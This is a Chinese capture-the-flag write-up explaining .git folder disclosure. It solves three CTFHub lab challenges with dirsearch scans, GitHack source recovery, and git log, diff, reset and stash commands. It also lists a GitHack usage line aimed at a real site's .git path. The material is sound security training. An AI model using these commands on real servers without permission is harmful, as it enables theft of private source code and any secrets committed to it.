赞
踩
Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等,发布代码的时候如果没有把.git这个目录删除直接发布到服务器上攻击者就可以通过它来恢复源代码
项目地址:GitHub - lijiejie/GitHack: A `.git` folder disclosure exploit
工具原理:
用法示例:
python3 GitHack.py http://www.openssl.org/.git/
项目地址2:GitHub - BugScanTeam/GitHack: .git 泄漏利用工具,可还原历史版本
工具使用:
Step 1:直接访问靶场环境可以看到如下界面信息
Step 2:扫描以下目录
python3 dirsearch.py -u http://challenge-ed902de60e85397f.sandbox.ctfhub.com:10800/ -e *
Step 3:从上面的结果可以发现存在git信息泄露,之后我们利用Githack(GitHub - BugScanTeam/GitHack: .git 泄漏利用工具,可还原历史版本)扫描一下
python2 GitHack.py http://challenge-ed902de60e85397f.sandbox.ctfhub.com:10800/.git/
Step 4:历史查询
git log
Step 5:从上面发现一个add flag的历史命令,之后利用一下命令进行差异对比成功获取到flag
#版本对比
git diff <分支名1> <分支名2>#执行示例
git diff 727b1543630ea8e366afb0646dcd24a68273657b#版本回退
git reset --hard <分支名>
此题目注意考察.git stash的使用,该命令主要用于想要保存当前的修改,但是想回到之前最后一次提交的干净的工作仓库时进行的操作,.git stash将本地的修改保存起来并且将当前代码切换到HEAD提交上,下面我们使用CTFHUB的环境进行演示说明:
Step 1:访问靶场地址可以看到如下界面信息
CTFHub 环境实例 | 提示信息
Step 2:进行目录扫描,发现存在.git信息泄露
python3 dirsearch.py -u http://challenge-3035c4ab094fc730.sandbox.ctfhub.com:10800/ -e *
Step 3:使用Githack扫描
python2 GitHack.py http://challenge-3035c4ab094fc730.sandbox.ctfhub.com:10800/.git/
Step 4:进入到源码获取目录下面并利用git stash list列出Git栈内的所有备份,可以利用这个列表来决定从那个地方恢复
git stash list
然后利用git stash pop从Git栈中读取最近一次保存的内容,恢复工作区的相关内容,由于可能存在多个Stash的内容,所以用栈来管理,pop会从最近的一个stash中读取内容并恢复
git stash pop
之后查看文件获得最终的flag
Step 1:首先访问题目链接地址可以看到如下提示信息
Step 2:同样的方法进行目录扫描探测
python3 dirsearch.py -u http://challenge-d9fd1f49efa9f95c.sandbox.ctfhub.com:10800/ -e *
Step 3:使用Githack扫描
python2 GitHack.py http://challenge-d9fd1f49efa9f95c.sandbox.ctfhub.com:10800/.git/
Step 4:进入到目录查看文件即可获取到flag信息
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。